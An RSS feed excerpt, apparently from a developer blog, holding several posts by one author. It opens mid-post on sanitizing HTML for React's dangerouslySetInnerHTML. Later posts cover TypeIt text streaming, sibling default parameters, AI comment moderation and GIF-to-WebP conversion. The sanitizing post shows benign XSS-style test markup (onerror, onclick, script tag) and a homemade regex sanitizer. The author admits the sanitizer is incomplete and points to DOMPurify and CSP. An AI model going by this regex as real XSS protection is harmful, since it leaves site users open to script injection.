&lt;p&gt;The benefit of this approach is that you're using an HTML-focused API to manipulate HTML. It's straightforward and predictable to remove attributes with standard DOM methods.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using a Regular Expression + .replace()
&lt;/h3&gt;

&lt;p&gt;But it's also a decent chunk of code compared to an alternative: a good ol' &lt;code&gt;.replace()&lt;/code&gt; stuffed with a regular expression:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function sanitize(markup) {
  return html.replace(/(?!\s+)(on[a-z]+\s*=\s*)/gi, "nope=");
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Regular expressions are scary, but this one's relatively tame. Breaking it down, starting at the end:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/gi&lt;/code&gt; tells the pattern to match against the entire string, as many times as necessary, and in a case-insensitive way. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;(on[a-z]+\s*=\s*)&lt;/code&gt; matches against any attribute starting with "on" and ending with any amount of letters, but only up until "=" (surrounded optionally by spaces. This should cover any event handler in an HTML tag. &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;(?!\s+)&lt;/code&gt; matches against one or more spaces, but it's inside a non-capturing group (denoted by the &lt;code&gt;?!&lt;/code&gt;), which means it'll be ignored when we perform the string replacement. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You could beef this up to only match against attributes found within what you &lt;em&gt;know&lt;/em&gt; are HTML tags (there'd be a lower chance of borking legitimate user-generated content), but this should cover 99.999999999% of cases. For us, the markup would end up like so, preventing it from executing (until browsers implement a "nope" event handler):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="x" nope="console.log('communism')"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For less code, you get the same desired outcome. But there's another advantage too: It's &lt;em&gt;far&lt;/em&gt; more performant than using a &lt;code&gt;DOMParser&lt;/code&gt;. &lt;a href="https://jsbench.me/9lm3ae5ts7/2?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;A simple benchmark&lt;/a&gt;(which should always be interpreted with a grain of salt) shows that using a &lt;code&gt;DOMParser&lt;/code&gt; was ~99.45% slower than &lt;code&gt;.replace()&lt;/code&gt; with a pattern.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fduxz7dtefjulkrcwhb4j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fduxz7dtefjulkrcwhb4j.png" alt="RegExp vs DOMParser benchmark" width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Worth noting if your application is particularly performance-sensitive.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wiring It Up
&lt;/h3&gt;

&lt;p&gt;Largely because of the amount of fear it strikes in the hearts of engineers, I'm opting for regular expression + &lt;code&gt;.replace()&lt;/code&gt; option. Here's full implementation of a "safer" way to use &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function sanitize(markup) {
  return markup.replace(/(?!\s+)(on[a-z]+=)/gi, "nope=");
}

function SafeElement({ element = 'div', markup, ...props }) {
  const Element = element;
  const sanitizedMarkup = sanitize(markup);

  return (
    &amp;lt;Element 
      dangerouslySetInnerHTML={{ __html: sanitizedMarkup }} 
      {...props} 
    /&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Along with an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function App () {
  return (
    &amp;lt;div&amp;gt;
      &amp;lt;SafeElement
        element="span"
        markup={`
          static content.

          &amp;lt;script&amp;gt;console.log("regular console log");&amp;lt;/script&amp;gt;
          &amp;lt;img src="x" onerror="console.log('on error from img')"&amp;gt;
          &amp;lt;button onclick="console.log('do bad stuff')"&amp;gt;Trust me!&amp;lt;/button&amp;gt;
      `}
      /&amp;gt;
    &amp;lt;/div&amp;gt;
  );
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, take a look at your console. You won't see much.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb56v66t1ye8fo6h4g10v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb56v66t1ye8fo6h4g10v.png" width="800" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That means it worked, and we've won.&lt;/p&gt;

&lt;h2&gt;
  
  
  How bulletproof is this?
&lt;/h2&gt;

&lt;p&gt;Don't walk away from this thinking you can wield &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; without shooting yourself in the foot ever again. We didn't discuss other very real vulnerabilities like the &lt;code&gt;javascript://&lt;/code&gt; &lt;a href="https://twitter.com/amacarthur/status/1855989032733356056?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;pseudo-protocol&lt;/a&gt;. That's why, again, it's in your best interest to at least consider using a comprehensive sanitization library in your production application. Some great ones are out there, including &lt;a href="https://github.com/cure53/DOMPurify?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; and &lt;a href="https://www.npmjs.com/package/sanitize-html?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;sanitize-html&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you can get away with it, a good &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Content Security Policy&lt;/a&gt; is a wise idea too – just keep in mind it'll impact more than surgically sanitized HTML would. This one-liner in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of your page will block all inline handlers and &lt;code&gt;javascript://&lt;/code&gt; URLs on your page, even without sanitization.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;head&amp;gt;
  &amp;lt;meta http-equiv="Content-Security-Policy" content="script-src 'self'"&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or set it as a response header.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Security-Policy: "script-src 'self'";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Regardless, it's good to know the quirks of script execution in the browser. So, keep all this tucked away in case it's ever helpful.&lt;/p&gt;

</description>
      <category>react</category>
      <category>xss</category>
      <category>security</category>
    </item>
    <item>
      <title>Streaming Text Like an LLM with TypeIt (and React)</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Fri, 25 Oct 2024 01:07:57 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/streaming-text-like-an-llm-with-typeit-and-react-12gg</link>
      <guid>https://forem.com/alexmacarthur/streaming-text-like-an-llm-with-typeit-and-react-12gg</guid>
      <description>&lt;p&gt;Sam Selikoff shared &lt;a href="https://x.com/samselikoff/status/1849127495158714483?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;a slick demonstration&lt;/a&gt; of a React hook for animating text streamed from an LLM recently. It caught my eye for a couple reasons. First, it looks great. Second, one of my eternal pet projects is &lt;a href="https://www.typeitjs.com/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;TypeIt&lt;/a&gt;, used to create very similar sorts of animations.&lt;/p&gt;

&lt;p&gt;I couldn't help but create an example of my own using TypeIt, and it turned out to be pretty straightforward – so straightforward that I had time to write up this post exploring it some more.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;Everything you see here will remain in a React context (we'll use the &lt;a href="https://www.typeitjs.com/docs/react?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;typeit-react&lt;/a&gt; package), but it could be set up just as easily with another framework (or none at all). First, we're going to create a fake streaming API. Normally, this would be connected to real LLM. I'm too cheap for that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function chunkText(text, chunkSize = 3) {
  const chunks = [];

  for (let i = 0; i &amp;lt; text.length; i += chunkSize) {
    chunks.push(text.slice(i, i + chunkSize));
  }

  return chunks;
}

export async function streamText() {
  const text = 'Bunch of text...';
  const chunks = chunkText(text);

  async function* generateStream() {
    for (const chunk of chunks) {
      await new Promise((resolve) =&amp;gt; setTimeout(resolve, Math.random() * 50));

      yield chunk;
    }
  }

  return {
    textStream: generateStream()
  };
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, let's scaffold a &lt;code&gt;useAnimatedText()&lt;/code&gt; hook to house all the typing business. It'll be very much inspired by the API Sam uses &lt;a href="https://buildui.com/recipes/use-animated-text?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;in his example&lt;/a&gt;. You could do whatever you like.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { useEffect, useState } from 'react';
import TypeIt from 'typeit-react';

export function useAnimatedText() {
  const [text, setText] = useState('');

  const el = (
    &amp;lt;TypeIt options={{ cursor: false }}&amp;gt;&amp;lt;/TypeIt&amp;gt;
  );

  return [el, setText];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice this is returning two things – the JSX we'll want to render, as well as a function for updating the rendered text. We'll flesh this out more in a bit.&lt;/p&gt;

&lt;p&gt;Finally, here's the shell of the app itself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { streamText } from './streamText';
import { useAnimatedText } from './useAnimatedText';

export default function App() {
  const [animatedText, setText] = useAnimatedText();

  async function go() {
    const { textStream } = await streamText();

    for await (const textPart of textStream) {
      setText(textPart);
    }
  }

  return (
    &amp;lt;div&amp;gt;
      {animatedText}

      &amp;lt;button onClick={go} &amp;gt;
        Generate
      &amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The word-by-word animation animation style is the most similar to the one used by ChatGPT to generate chunks of text, so we'll start with that. First, we need to first make it possible to give text to the TypeIt instance whenever it's streamed. We'll use a bit of state to make it available as a variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { useEffect, useState } from 'react';
import TypeIt from 'typeit-react';

export function useAnimatedText() {
  const [instance, setInstance] = useState(null);
  const [text, setText] = useState('');

  const el = (
    &amp;lt;TypeIt options={{ cursor: false }}
      getAfterInit={(i) =&amp;gt; {
        setInstance(i);

        return i;
      }}
    &amp;gt;&amp;lt;/TypeIt&amp;gt;
  );

  return [el, setText];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next up, we need to pass text to the instance whenever it's changed. Regrettably, that means reaching for &lt;code&gt;useEffect()&lt;/code&gt; (I'm so sorry, &lt;a href="https://x.com/kentcdodds/status/1541722055489486849?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;@DavidKPiano&lt;/a&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { useEffect, useState } from 'react';
import TypeIt from 'typeit-react';

export function useAnimatedText() {
  const [instance, setInstance] = useState(null);
  const [text, setText] = useState('');

  useEffect(() =&amp;gt; {
    if (!instance) return;

    instance.type(text, { instant: true }).flush();
  }, [text]);

  const el = (
    &amp;lt;TypeIt options={{ cursor: false }}
      getAfterInit={(i) =&amp;gt; {
        setInstance(i);

        return i;
      }}
    &amp;gt;&amp;lt;/TypeIt&amp;gt;
  );

  return [el, setText];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's break apart that &lt;code&gt;instance.type()&lt;/code&gt; line. First, the &lt;code&gt;.type()&lt;/code&gt; method will queue up any text you give it, and passing &lt;code&gt;{ instant: true }&lt;/code&gt; will cause it to be typed as one, single string (not character-by-character). Simple enough.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;.flush()&lt;/code&gt; method is &lt;a href="https://www.typeitjs.com/docs/vanilla/instance-methods/?ref=cms.macarthur.me#flush" rel="noopener noreferrer"&gt;a little special&lt;/a&gt;. Normally, TypeIt holds a queue of items it needs to process (kicked off by &lt;code&gt;.go()&lt;/code&gt;), which then allows the animation to be replayed if needed. But we're typing content on-the-fly. Instead, using &lt;code&gt;.flush()&lt;/code&gt; will throw away your queue after the items are processed, making it great for a use case like this. Here's the final result:&lt;/p&gt;

&lt;p&gt;If a letter-by-letter animation style is preferred, it's as simple as removing the &lt;code&gt;{ instant: true }&lt;/code&gt; and adjusting the speed as needed:&lt;/p&gt;

&lt;h2&gt;
  
  
  Other Ideas?
&lt;/h2&gt;

&lt;p&gt;I'm glad I tinkered with this a bit – it actually spawned an improvement to TypeIt's library itself. If you're interested in seeing how you might implement other typing-related animations with TypeIt, or if you have any suggestions to make it even better, &lt;a href="https://x.com/amacarthur?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;reach out on X&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>typewriter</category>
      <category>animation</category>
    </item>
    <item>
      <title>I didn't know you could use sibling parameters as default values in functions.</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Sat, 12 Oct 2024 15:42:12 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/i-didnt-know-you-could-use-sibling-parameters-as-default-values-in-functions-353o</link>
      <guid>https://forem.com/alexmacarthur/i-didnt-know-you-could-use-sibling-parameters-as-default-values-in-functions-353o</guid>
      <description>&lt;p&gt;JavaScript has supported default parameter values since ES2015. You know this. I know this. What I &lt;em&gt;didn't&lt;/em&gt; know was that you can use &lt;em&gt;sibling&lt;/em&gt; &lt;em&gt;parameters&lt;/em&gt; as the default values themselves. (Or maybe "adjacent positional parameters"? Not sure what to call these.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function myFunc(arg1, arg2 = arg1) {
  console.log(arg1, arg2);
}

myFunc("arg1!");
// "arg1!" "arg1!"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works in class constructors too – something I found to be quite helpful in making some &lt;a href="https://picperf.io/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;PicPerf.io&lt;/a&gt; code more testable. It's common to see simple dependency injection used to that end. Let's explore it a bit.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Scenario
&lt;/h2&gt;

&lt;p&gt;Keeping with the image optimization theme, say you have an &lt;code&gt;OptimizedImage&lt;/code&gt; class. Provide an image URL to its constructor, and you can retrieve either a freshly optimized buffer of the image or a cached version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class OptimizedImage {
  constructor(
    imageUrl: string,
    cacheService = new CacheService(),
    optimizeService = new OptimizeService()
  ) {
    this.imageUrl = imageUrl;
    this.cacheService = cacheService;
    this.optimizeService = optimizeService;
  }

  async get() {
    const cached = this.cacheService.get(this.imageUrl);

    // Return the previously optimized image.
    if (cached) return cached;

    const optimizedImage = await this.optimizeService
      .optimize(this.imageUrl);

    // Cache the optimized image for next time.
    return this.cacheService.put(this.imageUrl, optimizedImage);
  }
}

const instance = new OptimizedImage('https://macarthur.me/me.jpg');
const imgBuffer = await instance.get();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The only constructor parameter used in production is &lt;code&gt;imageUrl&lt;/code&gt;, but injecting &lt;code&gt;CacheService&lt;/code&gt; and &lt;code&gt;OptimizeService&lt;/code&gt; enables easier unit test with mocks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { it, expect, vi } from 'vitest';
import { OptimizedImage } from './main';

it('returns freshly optimized image', async function () {
  const fakeImageBuffer = new ArrayBuffer('image!');
  const mockCacheService = {
    get: (url) =&amp;gt; null,
    put: vi.fn().mockResolvedValue(fakeImageBuffer),
  };

  const mockOptimizeService = {
    optimize: (url) =&amp;gt; fakeImageBuffer,
  };

  const optimizedImage = new OptimizedImage(
    'https://test.jpg',
    mockCacheService,
    mockOptimizeService
  );

  const result = await optimizedImage.get();

  expect(result).toEqual(fakeImageBuffer);
  expect(mockCacheService.put).toHaveBeenCalledWith(
    'https://test.jpg',
    'optimized image'
  );
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Making It More Complicated
&lt;/h2&gt;

&lt;p&gt;In that example, both of those service classes use &lt;code&gt;imageUrl&lt;/code&gt; only when particular methods are invoked. But imagine if they required it to be passed into their own constructors instead. You might be tempted to pull instantiation into &lt;code&gt;OptimizedImage&lt;/code&gt;'s constructor (I was):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class OptimizedImage {
  constructor(
    imageUrl: string
  ) {
    this.imageUrl = imageUrl;
    this.cacheService = new CacheService(imageUrl);
    this.optimizeService = new OptimizeService(imageUrl);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’d work, but now &lt;code&gt;OptimizedImage&lt;/code&gt; is fully responsible for service instantiation, and testing becomes more of a hassle too. It's not so easy to pass in mocks for service instances.&lt;/p&gt;

&lt;p&gt;You could get around this by passing in mock class definitions, but you'd then need create mock versions of those classes with their own constructors, making testing more tedious. Fortunately, there's another option: use the &lt;code&gt;imageUrl&lt;/code&gt; parameter in the rest of your argument list.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sharing Sibling Parameters
&lt;/h2&gt;

&lt;p&gt;I wasn't aware this was even possible until a little while ago. Here's how it'd look:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export class OptimizedImage {
  constructor(
    imageUrl: string,
    // Use the same `imageUrl` in both dependencies.
    cacheService = new CacheService(imageUrl),
    optimizeService = new OptimizeService(imageUrl)
  ) {
    this.cacheService = cacheService;
    this.optimizeService = optimizeService;
  }

  async get() {
    const cached = this.cacheService.get();

    // Return the previously optimized image.
    if (cached) return cached;

    const optimizedImage = await this.optimizeService.optimize();

    // Cache the optimized image for next time.
    return this.cacheService.put(optimizedImage);
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this setup, you're able to mock those instances just as easily as before, and the rest of the class doesn't even need to hold onto an instance of &lt;code&gt;imageUrl&lt;/code&gt; itself. Instantiation, of course, still remains simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const instance = new OptimizedImage('https://macarthur.me/me.jpg');

const img = await instance.get();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same testing approach remains in tact as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { it, expect, vi } from 'vitest';
import { OptimizedImage } from './main';

it('returns freshly optimized image', async function () {
  const mockCacheService = {
    get: () =&amp;gt; null,
    put: vi.fn().mockResolvedValue('optimized image'),
  };

  const mockOptimizeService = {
    optimize: () =&amp;gt; 'optimized image',
  };

  const optimizedImage = new OptimizedImage(
    'https://test.jpg',
    mockCacheService,
    mockOptimizeService
  );

  const result = await optimizedImage.get();

  expect(result).toEqual('optimized image');
  expect(mockCacheService.put).toHaveBeenCalledWith('optimized image');
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing groundbreaking here – just a small feature that made my life a little more ergonomically pleasing. I'm hoping to come across more gems like this in the future.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>functions</category>
      <category>parameters</category>
      <category>arguments</category>
    </item>
    <item>
      <title>JamComments Now Offers AI-Powered Moderation</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Sun, 25 Aug 2024 03:30:36 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/jamcomments-now-offers-ai-powered-moderation-22na</link>
      <guid>https://forem.com/alexmacarthur/jamcomments-now-offers-ai-powered-moderation-22na</guid>
      <description>&lt;p&gt;While AI has absolutely flooded the digital product space for the past ~year, I've been relatively hesitant about its role within digital products. LLMs in particular are incredibly useful (I use them almost every day), but there've been a lot of relatively uninspiring product applications and so much hype. Frankly, many of the product using AI as their flagship feature solve a pain I have to be convinced I'm suffering from. They're cool, but a hard sell.&lt;/p&gt;

&lt;p&gt;For that reason, I've been resistant to using it within my own products. I didn't want to bolt on an AI-powered feature for the sake of flashy marketability. If was going to use it, it'd better be legitimately helpful.&lt;/p&gt;

&lt;p&gt;Well, I think I've actually found one (technically, credit goes to &lt;a href="https://cameronpak.com/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Cameron Pak&lt;/a&gt; for suggesting it).&lt;/p&gt;

&lt;h2&gt;
  
  
  Moderation is Hard
&lt;/h2&gt;

&lt;p&gt;Anytime you're moderating user-generated content, you're in for some level of hassle. That's just part of the package when you need to balancing the free promotion of ideas with the appropriateness of the resulting content in a given context. If you err on the side of thorough moderation, you need to exert a lot of energy to do it well, and you risk stifling expression. Other other hand, taking a more laissez-faire approach carries a whole set of different risks.&lt;/p&gt;

&lt;p&gt;In my experience with them, LLMs are pretty good at discerning linguistic expressions according to a set of principles you define. And especially with some guardrails in place, I really do think it can be a reliable moderator for this sort of purpose.&lt;/p&gt;

&lt;p&gt;That's why I've rolled out &lt;a href="https://jamcomments.com/docs/ai-moderation/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;AI-powered moderation for JamComments&lt;/a&gt;. You define the principles it to be used when moderating a comment, and the machine will handle it from there. You no longer need to choose between auto-approving every new comment, or manually moderating each one yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using AI Moderation
&lt;/h2&gt;

&lt;p&gt;There really isn't anything revolutionary going on here. After signing up for a paid account, all you need to do is enable AI-moderation on your site's settings page:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fogot6pgko4yt6eh2l8kq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fogot6pgko4yt6eh2l8kq.png" alt="auto-approval settings" width="800" height="463"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After that, define a prompt the LLM will use to assess a comment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrhog4xs0x48vny4s488.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkrhog4xs0x48vny4s488.png" alt="setting a prompt" width="800" height="304"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;AI-powered &lt;em&gt;anything&lt;/em&gt; won't ever be deterministic, so you're welcome to test it on a few comments yourself before sticking with it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdqlq8x8p80s0d13gueb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdqlq8x8p80s0d13gueb.png" alt="testing a prompt" width="800" height="638"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The feature is powered by Anthropic's &lt;a href="https://www.anthropic.com/api?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Claude&lt;/a&gt;, and is integrated with a healthy number of boundaries to prevent any sort of abuse or injection attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Possible Use Cases
&lt;/h2&gt;

&lt;p&gt;Ever since Camron first suggested the idea, my brain started stewing on the potential applications for different types of content. Here are some:&lt;/p&gt;

&lt;p&gt;For your blog, you might want to avoid approving comments that contain any foul language. Possible prompt:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Do not approve any comments that contain foul language or cursing according to the language used by the typical English-speaking American. Some expressions are OK (like "heck" or "darn it"), but nothing beyond that level of intensity.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Or maybe you run a faith-based digital magazine that allows reader-submitted comments and you want to make sure no inappropriate content is submitted:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You're moderating comments made on articles for an online, faith-based magazine. Only approve comments that are neutral or uplifting in their spirit, and that do not disparage a person or group of people. Do not allow anything that encourages people to live against basic Christian principles.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For one more example, perhaps you run an e-commerce store and you'd like to keep reviews civil.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The comment you are moderating is a product review. Do not allow the review if the person says they did not purchase the product. Do not allow cussing. Please DO approve comments that offer serious criticism in a mature way.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You get the idea.&lt;/p&gt;

&lt;h2&gt;
  
  
  Give It a Shot
&lt;/h2&gt;

&lt;p&gt;I realize that JamComments is in a rather interesting position because it's centered around written content – right up the alley of LLMs. So, I'm eager to see how this feature is leveraged, as well as if other opportunities arise for using it further. So, please — give it a shot and send me your feedback!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>blogging</category>
    </item>
    <item>
      <title>It’s Probably Worth Converting that GIF to an Animated WebP</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Thu, 22 Aug 2024 23:26:24 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/its-probably-worth-converting-that-gif-to-an-animated-webp-4jh0</link>
      <guid>https://forem.com/alexmacarthur/its-probably-worth-converting-that-gif-to-an-animated-webp-4jh0</guid>
      <description>&lt;p&gt;Find one of your favorite GIFs on &lt;a href="https://giphy.com/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Giphy&lt;/a&gt; and download it. You might be surprised that the result saved to your device &lt;em&gt;won't be a GIF&lt;/em&gt;. It'll be an animated WebP.&lt;/p&gt;

&lt;p&gt;It’s a very intentional move by Giphy, citing the &lt;a href="https://developers.giphy.com/docs/optional-settings/?ref=cms.macarthur.me#rendition-guide" rel="noopener noreferrer"&gt;maximization of quality and reduction in load times&lt;/a&gt;. After all, we're in a time when page performance has prominent focus in the industry, especially after Google unveiled its Core Web Vitals as &lt;a href="https://developers.google.com/search/docs/appearance/core-web-vitals?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;a ranking factor&lt;/a&gt;. Coupled with the fact that WebP has &lt;a href="https://caniuse.com/webp?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;extremely good browser support&lt;/a&gt;, the move shouldn't be all that surprising.&lt;/p&gt;

&lt;p&gt;Still, moving away from the GIF hits different. The format's become such a big part of meme culture, and has been responsible for ripping apart friendships over the correct pronunciation. It's hard to imagine a world in which GIFs... aren't actually GIFs.&lt;/p&gt;

&lt;p&gt;But in context of the web, &lt;strong&gt;it makes a lot of sense to fully embrace WebP as an alternative,&lt;/strong&gt; even with the complicated feelings that linger around it.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Brief History of the GIF
&lt;/h2&gt;

